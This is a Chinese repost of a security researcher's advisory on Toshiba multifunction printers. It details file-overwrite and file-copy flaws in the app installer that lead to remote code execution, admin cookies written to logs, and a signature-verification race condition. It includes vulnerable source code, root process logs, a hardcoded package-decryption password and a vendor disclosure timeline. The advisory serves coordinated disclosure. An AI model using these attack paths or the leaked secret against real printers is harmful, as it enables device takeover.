攻击者可以通过创建和/或覆盖文件(主要是 crontab 文件,因为文件名有限制)来获取远程代码执行。

详细信息 – 远程代码执行 – 不安全上传

在管理 > 应用程序 > 应用程序列表 > 安装应用程序中安装新的应用程序时,可以覆盖任何文件:

安装应用程序时,将向打印机发送几个请求:

  1. 第一个请求是 HTTP POST /tapy/server/appmgmt/uploadPackage

  2. 然后 HTTP POST 被发送到/tapy/server/appmgmt/extractPackage

此漏洞与上一个漏洞类似,但需要利用另一个变量。如前所述,攻击者可以完全控制:

  • packagename/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py:188从 POST-data变量中定义txtSelectedFileName

packagename变量未经过滤,可以包含任何值,可用于将文件写入文件系统中的任何位置。该变量最终在/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py第 480 行用于生成文件名:

内容/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py

464     @classmethod
465 def upload_package(cls, packagename, package_file, SessionID):
466 log.warning("applicationManagementModel: upload_package start")
467
468 upload_destination = '/work/al/tmp/upload/' + SessionID + '/'
469 if not os.path.exists(upload_destination):
470 os.makedirs(upload_destination)
471
472 try:
473 log.warning(" upload_package start")
474 #if type(packagename) == str:
475 #packagename = unicode(packagename, "utf-8", errors="ignore")
476 #else:
477 #packagename = unicode(packagename)
478 log.warning(" upload_package start -- test end")
479 #absolute_package_path = os.path.join(upload_destination , packagename).encode()
480 absolute_package_path = str(os.path.join(upload_destination , str(packagename.encode('ascii','ignore'))))
481 with open(absolute_package_path, 'wb') as output_file:
482 shutil.copyfileobj(package_file, output_file)
483
484 return "SUCCESS"
485
486 except Exception as err:
487 log.exception("Error In exitApp(upload_file) : " + str(err))
488 return "FAILURE"

攻击者可以将文件覆盖为 apache(例如 Python 文件)以获取远程代码执行。

攻击者可以通过创建和/或覆盖文件(主要是 crontab 文件,因为文件名有限制)来获取远程代码执行。

详细信息 – 远程代码执行 – 不安全复制

在管理 > 应用程序 > 应用程序列表 > 安装应用程序中安装新的应用程序时,可以覆盖任何文件:

安装应用程序时,将向打印机发送几个请求:

  1. 第一个请求是 HTTP POST /tapy/server/appmgmt/uploadPackage

  2. 然后 HTTP POST 被发送到/tapy/server/appmgmt/extractPackage

此漏洞与上一个漏洞类似,但需要利用另一个变量。如前所述,攻击者可以完全控制:

  • package_file/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py:189从 POST-data变量中定义idFileName

package_file变量未经过滤,可以包含任何值,可用于将文件复制到文件系统中的任何位置。此变量最终在/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py第 482 行用于将任何本地文件复制到特定文件名:

内容/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py

464     @classmethod
465 def upload_package(cls, packagename, package_file, SessionID):
466 log.warning("applicationManagementModel: upload_package start")
467
468 upload_destination = '/work/al/tmp/upload/' + SessionID + '/'
469 if not os.path.exists(upload_destination):
470 os.makedirs(upload_destination)
471
472 try:
473 log.warning(" upload_package start")
474 #if type(packagename) == str:
475 #packagename = unicode(packagename, "utf-8", errors="ignore")
476 #else:
477 #packagename = unicode(packagename)
478 log.warning(" upload_package start -- test end")
479 #absolute_package_path = os.path.join(upload_destination , packagename).encode()
480 absolute_package_path = str(os.path.join(upload_destination , str(packagename.encode('ascii','ignore'))))
481 with open(absolute_package_path, 'wb') as output_file:
482 shutil.copyfileobj(package_file, output_file)
483
484 return "SUCCESS"
485
486 except Exception as err:
487 log.exception("Error In exitApp(upload_file) : " + str(err))
488 return "FAILURE"

攻击者可以复制并覆盖 apache 文件(例如 Python 文件)以获取远程代码执行。

攻击者可以通过创建和/或覆盖文件(主要是 crontab 文件,因为文件名有限制)来获取远程代码执行。

详细信息 – 应用程序安装日志文件内的会话披露

在应用程序安装期间,cookie 会以明文形式写入日志中。

安装应用程序时,将发送多个请求并validate_user()调用该方法:此方法将以明文形式将管理员 cookie 写入日志中。

在该upload_package方法中,validate_user()调用来检查第 191 行的授权/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py

内容/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py

170 @view_config(route_name='upload_package', xhr=False, renderer='string')
171 def upload_package(request):
172 log.warning("++++++++++++++++++++++++++++++++")
173 log.warning("upload_package : Start ")
174 SessionID = ''
175 session = ' '
176 csrfpId = ''
177
178 if 'SessionID' in request.cookies:
179 SessionID = request.cookies['SessionID'] <---- SessionID is retrieved from the cookie
180 if 'Session' in request.cookies:
181 session = request.cookies['Session'] <-------- Session is retrieved from the cookie
182 if 'txtCSRFPID' in request.POST:
183 csrfpId = request.POST['txtCSRFPID']
184
[...]
191 validationMap = applicationManagementModel.validate_user(SessionID, session, csrfpId)

在执行流程中,在第 191 行,使用和cookievalidate_user()调用该方法。SessionIDSession

然后,这些 cookie 以明文形式写入日志中的第 391 行和 392 行/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py

388     @classmethod
389 def validate_user(cls, sessionId, session, csrfpid):
390 log.warning("applicationManagementModel: validate_user start")
391 log.info("Session ID recieved : " + sessionId)
392 log.info("CSRFPID Recieved : " + csrfpid)
393 log.info("Session : " + session)
394

管理员 cookie 以明文形式写入日志中。

攻击者可以检索它们并绕过身份验证机制。

详情 – 应用程序安装中的 TOCTOU 漏洞,允许安装恶意应用程序并获取 RCE

通过 Web 应用程序(管理 > 应用程序 > 应用程序列表 > 安装应用程序)安装应用程序时,将检查打印机内部的签名以继续安装已上传的应用程序。

存在信任链,安装过程完全基于信任链的有效性。

通过在安装过程中使用root shell进行动态分析,我们可以看到正在执行的几个命令:

2023/10/27 10:54:31 CMD: UID=0     PID=32195  | sh -c if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi  
2023/10/27 10:54:31 CMD: UID=0 PID=32194 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/10/27 10:54:33 CMD: UID=0 PID=32196 | sh -c echo "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2MWVi+kjfL/9lyuBls9O
NU5+qgiWNSzGgGqUq+Z9uaiWGoz6wOBKlQc55f3nUs6CfpX/e8cHgS8nySWWvgy8
LnK4f6XAUMRQC03jmHXfhbvJOd6PbkljFM/k19AwOf/xkTUVm45Tp5P3T1Bd9XWS
qUJxobgTS15c++IcsAAScD8cLZPRywLWRBoA0poms6uPVkyN9Oc3J2EMpZT/6XQW
ucNFh/ejLe1z0Pt/Sk4TeN/ELZ3+IHwBRfApelixcEoZTWtVbnvaUqO0mZ8PebTT
m6PlKE9fGiAe1FAQZE3fE7StyOIwxd+n3t5M+SdGba4ZJWJMskBaR8bTYHHe4DRp
PQIDAQAB
-----END PUBLIC KEY-----"> /work/ci/tmp/MFPAPI_public.key
2023/10/27 10:54:33 CMD: UID=0 PID=32197 | sh -c openssl rsautl -verify -pubin -inkey /work/ci/tmp/MFPAPI_public.key -in /work/al/tmp/package/Signature.enc -out /work/ci/SignatureFile_Dec

2023/10/27 10:54:33 CMD: UID=0 PID=32198 | sh -c openssl enc -d -aes256 -md md5 -in /work/al/tmp/package/ApplicationPackage.enc -out /work/al/tmp/package/ApplicationPackage.zip -k 4f2594ffaa79c3a58e5a4868910f27f1

Signature.enc如果上传的应用程序 Package.zip 文件中提供了无效文件,则该过程将停止。

将公钥写入文件的命令(动态分析中的PID=32196)是硬编码在里面的/home/SYSROM_SRC/build/release/lib/libcipltintegritycheck.so.0

内容/home/SYSROM_SRC/build/release/lib/libcipltintegritycheck.so.0

.rodata:00016620 aEchoBeginPubli db 'echo "-----BEGIN PUBLIC KEY-----',0Ah
.rodata:00016620 db 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2MWVi+kjfL/9lyuBls9O',0Ah
.rodata:00016620 db 'NU5+qgiWNSzGgGqUq+Z9uaiWGoz6wOBKlQc55f3nUs6CfpX/e8cHgS8nySWWvgy8',0Ah
.rodata:00016620 db 'LnK4f6XAUMRQC03jmHXfhbvJOd6PbkljFM/k19AwOf/xkTUVm45Tp5P3T1Bd9XWS',0Ah
.rodata:00016620 db 'qUJxobgTS15c++IcsAAScD8cLZPRywLWRBoA0poms6uPVkyN9Oc3J2EMpZT/6XQW',0Ah
.rodata:00016620 db 'ucNFh/ejLe1z0Pt/Sk4TeN/ELZ3+IHwBRfApelixcEoZTWtVbnvaUqO0mZ8PebTT',0Ah
.rodata:00016620 db 'm6PlKE9fGiAe1FAQZE3fE7StyOIwxd+n3t5M+SdGba4ZJWJMskBaR8bTYHHe4DRp',0Ah
.rodata:00016620 db 'PQIDAQAB',0Ah
.rodata:00016620 db '-----END PUBLIC KEY-----"> /work/ci/tmp/MFPAPI_public.key',0
.rodata:0001680A align 20h

使用公钥进行验证在理论上是安全的。RSA 密钥的大小为 2048 位,因此不太可能被威胁者分解:

kali% openssl rsa -inform PEM -pubin -in MFPAPI_public.key -text -noout
Public-Key: (2048 bit)
Modulus:
00:d8:c5:95:8b:e9:23:7c:bf:fd:97:2b:81:96:cf:
4e:35:4e:7e:aa:08:96:35:2c:c6:80:6a:94:ab:e6:
7d:b9:a8:96:1a:8c:fa:c0:e0:4a:95:07:39:e5:fd:
e7:52:ce:82:7e:95:ff:7b:c7:07:81:2f:27:c9:25:
96:be:0c:bc:2e:72:b8:7f:a5:c0:50:c4:50:0b:4d:
e3:98:75:df:85:bb:c9:39:de:8f:6e:49:63:14:cf:
e4:d7:d0:30:39:ff:f1:91:35:15:9b:8e:53:a7:93:
f7:4f:50:5d:f5:75:92:a9:42:71:a1:b8:13:4b:5e:
5c:fb:e2:1c:b0:00:12:70:3f:1c:2d:93:d1:cb:02:
d6:44:1a:00:d2:9a:26:b3:ab:8f:56:4c:8d:f4:e7:
37:27:61:0c:a5:94:ff:e9:74:16:b9:c3:45:87:f7:
a3:2d:ed:73:d0:fb:7f:4a:4e:13:78:df:c4:2d:9d:
fe:20:7c:01:45:f0:29:7a:58:b1:70:4a:19:4d:6b:
55:6e:7b:da:52:a3:b4:99:9f:0f:79:b4:d3:9b:a3:
e5:28:4f:5f:1a:20:1e:d4:50:10:64:4d:df:13:b4:
ad:c8:e2:30:c5:df:a7:de:de:4c:f9:27:46:6d:ae:
19:25:62:4c:b2:40:5a:47:c6:d3:60:71:de:e0:34:
69:3d
Exponent: 65537 (0x10001)

整个信任链基于/home/SYSROM_SRC/build/release/lib/libcipltintegritycheck.so.0文件内部硬编码的公钥,其对应的私钥用于生成包。

不幸的是,在进行动态分析时,我们发现用于验证Signature.enc文件的公钥以不安全的方式存储在中/work/ci/tmp/MFPAPI_public.key

/work/ci/tmp/目录为 777,允许任何攻击者写入任何文件:

bash-4.1# ls -la /work/ci/tmp/
total 16
drwxrwxrwx 2 root root 12288 Oct 27 11:26 .
drwxrwxrwx 6 root root 4096 Oct 27 11:26 ..
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_00000#boxproperties_dom.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_HDBROOT#GetCmdDoc.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_HDBROOT#RestrictionModeDeviceFaxEvent.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_HDBROOT#RestrictionModeDeviceState.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_HDBROOT#RestrictionModeSystemInformation.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 03:17 HDB_HDBROOT#RestrictionPowerSaveCommandToDSM.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_HDBROOT#RestrictionSecretReceptionFalseToDSM.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 06:17 HDB_HDBROOT#RestrictionSleepCommandToDSM.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_Precompiled#Resources?Frames?COMMON?ALERTS?alertspanel_devicestatus.xml.txt
[...]

此外,生成的文件/work/ci/tmp/MFPAPI_public.key使用不安全的权限(666),允许任何攻击者在验证过程中利用文件覆盖漏洞将其替换为恶意公钥。

这是一个 TOCTOU 漏洞:

bash-4.1# for i in $(seq 1 100); do ls -la /work/ci/tmp/MFPAPI_public.key;sleep 0.1;done
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
-rw-rw-rw- 1 root trusted 451 Oct 27 11:26 /work/ci/tmp/MFPAPI_public.key
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
[...]

攻击者可以/work/ci/tmp/MFPAPI_public.key在文件写入打印机和被 openssl 使用之间替换该文件:

2023/10/27 10:54:33 CMD: UID=0     PID=32196  | sh -c echo "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2MWVi+kjfL/9lyuBls9O
NU5+qgiWNSzGgGqUq+Z9uaiWGoz6wOBKlQc55f3nUs6CfpX/e8cHgS8nySWWvgy8
LnK4f6XAUMRQC03jmHXfhbvJOd6PbkljFM/k19AwOf/xkTUVm45Tp5P3T1Bd9XWS
qUJxobgTS15c++IcsAAScD8cLZPRywLWRBoA0poms6uPVkyN9Oc3J2EMpZT/6XQW
ucNFh/ejLe1z0Pt/Sk4TeN/ELZ3+IHwBRfApelixcEoZTWtVbnvaUqO0mZ8PebTT
m6PlKE9fGiAe1FAQZE3fE7StyOIwxd+n3t5M+SdGba4ZJWJMskBaR8bTYHHe4DRp
PQIDAQAB
-----END PUBLIC KEY-----"> /work/ci/tmp/MFPAPI_public.key
/
|
------------- TOCTOU HERE --------------------
|
V
2023/10/27 10:54:33 CMD: UID=0 PID=32197 | sh -c openssl rsautl -verify -pubin -inkey /work/ci/tmp/MFPAPI_public.key -in /work/al/tmp/package/Signature.enc -out /work/ci/SignatureFile_Dec

以下 openssl 命令之间有第二个 TOCTOU。仅当Signature.enc第一个命令中的验证正确时才会执行第二个命令,并且第二个命令中的密码似乎取决于文件的内容Signature.enc

在两个 openssl 命令之间,攻击者可以/work/al/tmp/package/ApplicationPackage.enc用恶意包(使用受信任包使用的密码加密)进行替换。

24     2023/10/27 10:54:33 CMD: UID=0     PID=32197  | sh -c openssl rsautl -verify -pubin -inkey /work/ci/tmp/MFPAPI_public.key -in /work/al/tmp/package/Signature.enc -out /work/ci/SignatureFile_Dec
/
|
------------- TOCTOU HERE --------------------
|
V
25 2023/10/27 10:54:33 CMD: UID=0 PID=32198 | sh -c openssl enc -d -aes256 -md md5 -in /work/al/tmp/package/ApplicationPackage.enc -out /work/al/tmp/package/ApplicationPackage.zip -k 4f2594ffaa79c3a58e5a4868910f27f1

可以安装一个用恶意私钥签名的恶意应用程序包,同时上传一个文件,用/work/ci/tmp/MFPAPI_public.key相应的恶意公钥替换东芝原始公钥,从而破坏整个信任链。

然后,这个流氓公钥将被用来验证应用程序(并且它会通过):该应用程序将被安装。

因此,攻击者可以伪造恶意/work/ci/tmp/MFPAPI_public.key密钥并使用其自己的公钥/私钥来安装包文件。

攻击者还可以/home/SYSROM_SRC/build/release/lib/libcipltintegritycheck.so.0用修改后的库进行替换,因为权限不安全,从而允许(i)在执行代码时获取远程代码执行和/或(ii)包含恶意公钥并获取 RCE。

具有管理员权限的攻击者可以安装恶意应用程序并获取远程代码执行。

供应商回应

JPCERT 提供了一份安全公告

东芝提供了一份安全公告

报告时间表

  • 2023 年 3 月至 5 月:对东芝多功能打印机进行安全评估(本次安全评估共分配了 15 个工作日)。

  • 2023 年 6 月 14 日:完整报告已发送给东芝。

  • 2023 年 6 月 15 日:Tosbiba 确认收到安全评估。

  • 2023 年 6 月 28 日:Tosbiba 确认评估正在进行中,并提供了新的安全联系人。

  • 2023 年 6 月 29 日:我询问了新的安全联系人的 GPG 密钥。

  • 2023 年 7 月 4 日:东芝提供了新的 GPG 密钥并确认他们能够重现几乎所有问题。

  • 2023 年 7 月 4 日:我问什么时候会提供安全补丁。

  • 2023年7月7日:东芝确认漏洞影响部分机型,评估仍在进行中。东芝询问了安全评估的细节。

  • 2023 年 7 月 10 日:提供了有关安全评估的更多详细信息。

  • 2023 年 7 月 11 日:东芝提供了一份 Excel 文件,列出了这些漏洞及其评估。

  • 2023 年 7 月 12 日:向东芝提供了有关漏洞评估的评论。

  • 2023 年 7 月 13 日:东芝提供了有关漏洞评估的更多详细信息。

  • 2023 年 7 月 14 日:向东芝提供了有关威胁模型和修补漏洞根本原因的必要性的评论。

  • 2023 年 7 月 17 日:已向东芝提供了一份包含我的补充评论的更新版 Excel 文件。

  • 2023 年 7 月 18 日:东芝确认收到 Excel 文件,并确认他们将根据关键漏洞的优先级来审查问题,并将组织会议。

  • 2023年7月19日:我确认审核完Excel文件后就可以组织会议了。

  • 2023 年 7 月 21 日:东芝提供了一份正在进行的 Excel 文件,其中包含更新的评估。

  • 2023 年 7 月 25 日:我确认已收到 Excel 文件。

  • 2023 年 7 月 27 日:东芝确认新的安全评估仍在进行中,并就正在进行的文件清单措施征求反馈。

  • 2023 年 7 月 28 日:我确认将对正在进行的文档提供意见。

  • 2023年8月1日:审查了Excel文件,并向东芝发送了更新版本,确认当前东芝的分析非常高效(漏洞的根本原因将得到修补)。

  • 2023年8月1日:东芝确认收到该文件。

  • 2023 年 8 月 4 日:东芝发送了列出漏洞和安全补丁的 Excel 文档的最终版本。

  • 2023年8月4日:我确认已收到该文件。

  • 2023 年 8 月 7 日:列出漏洞、评估和补救措施的 Excel 文件已根据我的评论进行更新并与东芝共享。

  • 2023 年 8 月 9 日:与东芝的虚拟会议——讨论漏洞和获取安全补丁的时间表。

  • 2023 年 8 月 10 日:向东芝提供了有关尚未分析的有趣攻击面中的新潜在漏洞的更多详细信息。

  • 2023 年 9 月 5 日:东芝提供了对第三方应用程序固件映像的访问权限。

  • 2023 年 10 月 24 日:东芝提供了一份与之前报告的漏洞有关的 CVE 标识符列表。

  • 2023 年 10 月 25 日:有关 CVE 标识符的电子邮件。

  • 2023 年 10 月 26 日:有关 CVE 标识符的电子邮件。

  • 2023 年 10 月 27 日:在分析第三方应用程序的固件映像后,与东芝分享了 5 个新的 0 日漏洞。

  • 2023 年 10 月 30 日:东芝确认将尽快对新的漏洞进行分析。

  • 2023 年 11 月 11 日:东芝确认对新漏洞的分析正在进行中。

  • 2023 年 11 月 20 日:有关漏洞的 CVSSv3 评分的电子邮件。

  • 2023 年 11 月 21 日:东芝确认他们将审查分数。

  • 2023 年 11 月 21 日:有关 CVE ID 的电子邮件。

  • 2023 年 11 月 22 日:东芝确认之前仅修补了一小部分产品,并且修补所有受支持的型号后 CVE 将公开。

  • 2023 年 11 月 28 日:东芝提供了更新的 Excel 文件,其中存在新的漏洞。

  • 2023 年 12 月 4 日:向东芝提供了有关新漏洞的更多详细信息。

  • 2023 年 12 月:有关 CVSSv3 分数的讨论。

  • 2024 年 2 月 2 日:东芝确认了该漏洞的 CVSSv3 评分。

  • 2024 年 2 月 5 日:东芝确认安全公告将于 2024 年 5 月至 6 月左右发布。

  • 2024 年 5 月 8 日:我询问东芝何时会发布公告。

  • 2024 年 5 月 10 日:东芝确认将于 5 月底发布公告。

  • 2024 年 5 月 14 日:东芝提供了与我报告的漏洞相对应的 CVE 列表,并要求遵守禁令。

  • 2024 年 5 月 14 日:我确认已收到 CVE。

  • 2024 年 5 月 20 日:东芝通知安全警告将推迟至 2024 年 6 月中旬。

  • 2024年5月20日:我确认对我来说没问题。

  • 2024 年 6 月 4 日:东芝提供了受影响打印机和修补固件版本的列表。

  • 2024 年 6 月 14 日:东芝发布了安全公告:https://www.toshibatec.com/information/20240531_01.html

  • 2024 年 6 月 14 日:JPCERT 发布了安全公告:https://jvn.jp/en/vu/JVNVU97136265/index.html

  • 2024 年 6 月 27 日:发布安全公告。

致谢

这些漏洞是由 Pierre Barre 又名 Pierre Kim ( @PierreKimSec ) 发现的。

参考

https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerability.html

https://pierrekim.github.io/advisories/2024-toshiba-mfp.txt

https://www.toshibatec.com/information/20240531_01.html

https://www.toshibatec.com/information/pdf/information20240531_01.pdf

https://jvn.jp/en/vu/JVNVU97136265/index.html


原文地址:

40 vulnerabilities in Toshiba Multi-Function Printershttps://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html



感谢您抽出

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

.

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

.

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

来阅读本文

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

版权声明:admin 发表于 2024年7月31日 上午10:27。
转载请注明:东芝多功能打印机 40 个漏洞挖掘过程(第二部分) | CTF导航

相关文章